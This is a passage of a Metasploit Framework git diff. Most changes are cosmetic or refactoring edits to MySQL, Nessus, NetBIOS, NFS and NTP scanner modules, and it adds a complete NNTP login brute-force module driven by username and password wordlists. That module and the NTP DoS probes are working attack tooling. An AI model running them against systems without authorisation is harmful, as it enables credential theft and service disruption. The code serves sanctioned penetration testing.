 ##
 
 require 'yaml'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -124,5 +123,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return
   end
-
 end
diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb
index 619d67168f..65fb904c6d 100644
--- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb
index de9e050c0a..74b6fd2a4e 100644
--- a/modules/auxiliary/scanner/mysql/mysql_login.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_login.rb
@@ -1,14 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/mysql'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -129,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
     version = data[offset..-1].unpack('Z*')[0]
     report_service(:host => rhost, :port => rport, :name => "mysql", :info => version)
     short_version = version.split('-')[0]
-    vprint_status "#{rhost}:#{rport} - Found remote MySQL version #{short_version}"
+    vprint_good "#{rhost}:#{rport} - Found remote MySQL version #{short_version}"
     int_version(short_version) >= int_version(target)
   end
 
diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb
index 9d0f584066..8362de601a 100644
--- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'yaml'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
 
@@ -54,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
           :proto => 'tcp'
           )
     p = store_loot('mysql_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_mysql_schema.txt", "MySQL Schema", this_service)
-    print_status("Schema stored in: #{p}")
+    print_good("Schema stored in: #{p}")
     print_good output if datastore['DISPLAY_RESULTS']
   end
 
@@ -125,5 +124,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return tables
   end
-
 end
diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb
index baf18433be..0d1cbb86a7 100644
--- a/modules/auxiliary/scanner/mysql/mysql_version.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -68,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
     else
       offset += 1
       version = data[offset..-1].unpack('Z*')[0]
-      print_status("#{rhost}:#{rport} is running MySQL #{version} (protocol #{proto})")
+      print_good("#{rhost}:#{rport} is running MySQL #{version} (protocol #{proto})")
       report_service(
         :host => rhost,
         :port => rport,
diff --git a/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb
index 326c3812b6..97bd77a431 100644
--- a/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -74,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
index 814f31b35b..ae73ab69fd 100644
--- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
+++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::NATPMP
@@ -91,11 +89,11 @@ class MetasploitModule < Msf::Auxiliary
         end
       else
         state = Msf::ServiceState::Closed
-        vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports")
+        vprint_error("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports")
       end
     else
       state = Msf::ServiceState::Closed
-      vprint_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response")
+      vprint_error("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response")
     end
 
     report_service(
diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb
index a7171f4d01..6d103377aa 100644
--- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb
+++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb
@@ -2,35 +2,29 @@
 # nessus_ntp_login.rb
 ##
 
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
 
   def initialize
-  super(
-    'Name'        => 'Nessus NTP Login Utility',
-    'Description' => 'This module attempts to authenticate to a Nessus NTP service.',
-    'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
-    'License'        => MSF_LICENSE
-  )
-  register_options(
-    [
-      Opt::RPORT(1241),
-      OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
-    ])
-
-  register_advanced_options(
-  [
-    OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
-    OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"])
-  ])
+    super(
+      'Name'        => 'Nessus NTP Login Utility',
+      'Description' => 'This module attempts to authenticate to a Nessus NTP service.',
+      'Author'      => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
+      'License'     => MSF_LICENSE
+    )
+    register_options(
+      [
+        Opt::RPORT(1241),
+        OptBool.new('BLANK_PASSWORDS', "Try blank passwords for all users")
+      ]
+    )
   end
 
   def run_host(ip)
diff --git a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb
index 92182ead98..391403a3b5 100644
--- a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb
+++ b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/nessus'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -139,5 +138,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb
index a5b1ae5a01..3ca7e37abc 100644
--- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb
+++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb
@@ -1,14 +1,9 @@
 ##
-# nessus_xmlrpc_login.rb
-##
-
-##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -133,5 +128,4 @@ class MetasploitModule < Msf::Auxiliary
 
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb
index fff1353373..501e8a2649 100644
--- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb
+++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb
@@ -3,12 +3,11 @@
 ##
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb
index 0d8991c280..f519929e1c 100644
--- a/modules/auxiliary/scanner/netbios/nbname.rb
+++ b/modules/auxiliary/scanner/netbios/nbname.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -126,7 +123,7 @@ class MetasploitModule < Msf::Auxiliary
         end
       end
 
-      print_status("#{ip} [#{host[:name]}] OS:#{os}#{user}#{names} #{addrs} Mac:#{host[:mac]} #{extra}")
+      print_good("#{ip} [#{host[:name]}] OS:#{os}#{user}#{names} #{addrs} Mac:#{host[:mac]} #{extra}")
     end
   end
 
diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb
index eaa2308f98..4b14724382 100644
--- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb
+++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb
@@ -1,14 +1,9 @@
 ##
-# nexpose_api_login.rb
-##
-
-##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb
index 10a0c07517..8e5f64b476 100644
--- a/modules/auxiliary/scanner/nfs/nfsmount.rb
+++ b/modules/auxiliary/scanner/nfs/nfsmount.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SunRPC
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -56,11 +54,11 @@ class MetasploitModule < Msf::Auxiliary
       exports = resp[3,1].unpack('C')[0]
       if (exports == 0x01)
         shares = []
-        while XDR.decode_int!(resp) == 1 do
-          dir = XDR.decode_string!(resp)
+        while Rex::Encoder::XDR.decode_int!(resp) == 1 do
+          dir = Rex::Encoder::XDR.decode_string!(resp)
           grp = []
-          while XDR.decode_int!(resp) == 1 do
-            grp << XDR.decode_string!(resp)
+          while Rex::Encoder::XDR.decode_int!(resp) == 1 do
+            grp << Rex::Encoder::XDR.decode_string!(resp)
           end
           print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
           shares << [dir, grp]
@@ -82,5 +80,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_error(e.to_s)
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/nntp/nntp_login.rb b/modules/auxiliary/scanner/nntp/nntp_login.rb
new file mode 100644
index 0000000000..3a52e683c3
--- /dev/null
+++ b/modules/auxiliary/scanner/nntp/nntp_login.rb
@@ -0,0 +1,188 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'NNTP Login Utility',
+      'Description' => %q{
+        This module attempts to authenticate to NNTP services
+        which support the AUTHINFO authentication extension.
+
+        This module supports AUTHINFO USER/PASS authentication,
+        but does not support AUTHINFO GENERIC or AUTHINFO SASL
+        authentication methods.
+      },
+      'Author'      => 'Brendan Coles <bcoles[at]gmail.com>',
+      'License'     => MSF_LICENSE,
+      'References'  => [ [ 'CVE', '1999-0502' ], # Weak password
+                         [ 'URL', 'https://tools.ietf.org/html/rfc3977' ],
+                         [ 'URL', 'https://tools.ietf.org/html/rfc4642' ],
+                         [ 'URL', 'https://tools.ietf.org/html/rfc4643' ] ]))
+    register_options(
+      [
+        Opt::RPORT(119),
+        OptPath.new('USER_FILE', [ false, 'The file that contains a list of probable usernames.',
+          File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]),
+        OptPath.new('PASS_FILE', [ false, 'The file that contains a list of probable passwords.',
+          File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ])
+      ])
+    deregister_options 'RHOST'
+  end
+
+  def run_host(ip)
+    begin
+      connect
+      return :abort unless nntp?
+      return :abort unless supports_authinfo?
+
+      report_service :host  => rhost,
+                     :port  => rport,
+                     :proto => 'tcp',
+                     :name  => 'nntp'
+      disconnect
+
+      each_user_pass { |user, pass| do_login user, pass }
+    rescue ::Interrupt
+      raise $ERROR_INFO
+    rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+      print_error "#{peer} Connection failed"
+      return
+    rescue OpenSSL::SSL::SSLError => e
+      print_error "SSL negotiation failed: #{e}"
+    rescue => e
+      print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
+      return
+    ensure
+      disconnect
+    end
+  end
+
+  def nntp?
+    banner = sock.get_once
+
+    if !banner
+      vprint_error "#{peer} No response"
+      return false
+    end
+
+    if banner !~ /^200/
+      print_error 'Unexpected reply'
+      return false
+    end
+
+    vprint_status 'Server is a NTTP server'
+    vprint_status "Banner: #{banner}"
+    true
+  end
+
+  def supports_authinfo?
+    sock.put "HELP\r\n"
+    res = sock.get(-1)
+    code = res.scan(/\A(\d+)\s/).flatten.first.to_i
+
+    if code.nil?
+      print_error 'Server is not a NNTP server'
+      return false
+    end
+
+    if code == 480
+      vprint_warning 'Authentication is required before listing authentication capabilities.'
+      return true
+    end
+
+    if code == 100 && res =~ /authinfo/i
+      vprint_status 'Server supports AUTHINFO'
+      return true
+    end
+
+    print_error 'Server does not support AUTHINFO'
+    false
+  end
+
+  def do_login(user, pass)
+    vprint_status "Trying username:'#{user}' with password:'#{pass}'"
+
+    begin
+      connect
+      sock.get_once
+
+      sock.put "AUTHINFO USER #{user}\r\n"
+      res = sock.get_once
+      unless res
+        vprint_error "#{peer} No response"
+        return :abort
+      end
+
+      code = res.scan(/\A(\d+)\s/).flatten.first.to_i
+      if code != 381
+        vprint_error "#{peer} Unexpected reply. Skipping user..."
+        return :skip_user
+      end
+
+      sock.put "AUTHINFO PASS #{pass}\r\n"
+      res = sock.get_once
+      unless res
+        vprint_error "#{peer} No response"
+        return :abort
+      end
+
+      code = res.scan(/\A(\d+)\s/).flatten.first.to_i
+      if code == 452 || code == 481
+        vprint_error "#{peer} Login failed"
+        return
+      elsif code == 281
+        print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"
+        report_cred ip:           rhost,
+                    port:         rport,
+                    service_name: 'nntp',
+                    user:         user,
+                    password:     pass,
+                    proof:        code.to_s
+        return :next_user
+      else
+        vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
+        return
+      end
+    rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
+      print_error 'Connection failed'
+      return
+    rescue OpenSSL::SSL::SSLError => e
+      print_error "SSL negotiation failed: #{e}"
+      return :abort
+    end
+  rescue => e
+    print_error "Error: #{e}"
+    return nil
+  ensure
+    disconnect
+  end
+
+  def report_cred(opts)
+    service_data = { address: opts[:ip],
+                     port: opts[:port],
+                     service_name: opts[:service_name],
+                     protocol: 'tcp',
+                     workspace_id: myworkspace_id }
+
+    credential_data = { origin_type: :service,
+                        module_fullname: fullname,
+                        username: opts[:user],
+                        private_data: opts[:password],
+                        private_type: :password }.merge service_data
+
+    login_data = { last_attempted_at: DateTime.now,
+                   core: create_credential(credential_data),
+                   status: Metasploit::Model::Login::Status::SUCCESSFUL,
+                   proof: opts[:proof] }.merge service_data
+
+    create_credential_login login_data
+  end
+end
diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb
index 6bdc805879..6d689b431b 100644
--- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -47,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= { messages: [], peers: [] }
-    @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data)
+    @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new.read(data).to_binary_s
     @results[shost][:peers] << extract_peer_tuples(data)
   end
 
@@ -55,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
   def scanner_prescan(batch)
     @results = {}
     @aliases = {}
-    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42)
+    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42, "\0" * 40).to_binary_s
   end
 
   # Called after the scan block
diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb
index d7ebcb3790..ba12684bef 100644
--- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,11 +81,11 @@ class MetasploitModule < Msf::Auxiliary
     probe = build_crypto_nak(canary_timestamp)
     udp_sock.put(probe)
 
-    expected_length = probe.length - probe.payload.length
+    expected_length = probe.to_binary_s.length - probe.payload.length
     response = udp_sock.timed_read(expected_length)
     disconnect_udp
     if response.length == expected_length
-      ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new(response)
+      ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new.read(response)
       if ntp_symmetric.mode == 2 && ntp_symmetric.origin_timestamp == canary_timestamp
         vprint_good("#{rhost}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association")
         report_vuln(
diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb
index 2c12582f45..2377a1c8ce 100644
--- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -24,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'],
           ['URL', 'http://r-7.co/R7-2014-12']
         ],
@@ -35,13 +35,13 @@ class MetasploitModule < Msf::Auxiliary
   # Called before the scan block
   def scanner_prescan(batch)
     @results = {}
-    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 0)
+    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 0).to_binary_s
   end
 
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data)
+    @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data).to_binary_s
   end
 
   # Called after the scan block
diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb
index 1b112322bf..f10ab6ee5e 100644
--- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -24,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'],
           ['URL', 'http://r-7.co/R7-2014-12']
         ],
@@ -35,13 +35,13 @@ class MetasploitModule < Msf::Auxiliary
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data)
+    @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data).to_binary_s
   end
 
   # Called before the scan block
   def scanner_prescan(batch)
     @results = {}
-    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 1)
+    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 1).to_binary_s
   end
 
   # Called after the scan block
diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb
index 79da60051c..4caec7ea20 100644
--- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,6 +26,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'        => MSF_LICENSE,
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           [ 'URL', 'http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ]
         ]
       )
@@ -34,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary
 
   def scanner_process(data, shost, _sport)
     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPControl.new(data)
+    @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data)
   end
 
   def scan_host(ip)
diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb
index 6b3ac8eb6d..55a2ae2319 100644
--- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -25,6 +24,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'],
           ['URL', 'http://r-7.co/R7-2014-12']
         ],
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPControl.new(data)
+    @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data)
   end
 
   # Called before the scan block
diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb
index ac5c08ae60..93569207b1 100644
--- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -26,6 +25,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'],
           ['URL', 'http://r-7.co/R7-2014-12']
         ],
@@ -37,13 +37,14 @@ class MetasploitModule < Msf::Auxiliary
   # Called for each response packet
   def scanner_process(data, shost, sport)
     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data)
+    privmsg = Rex::Proto::NTP::NTPPrivate.new.read(data)
+    @results[shost] << privmsg.to_binary_s
   end
 
   # Called before the scan block
   def scanner_prescan(batch)
     @results = {}
-    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 16)
+    @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 16).to_binary_s
   end
 
   # Called after the scan block
diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb
index 3176bd8e2b..eb72cb520b 100644
--- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb
+++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
@@ -24,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary
       'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
       'References'     =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'],
           ['URL', 'http://r-7.co/R7-2014-12']
         ],
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary
   # Called for each response packet
   def scanner_process(data, shost, sport)
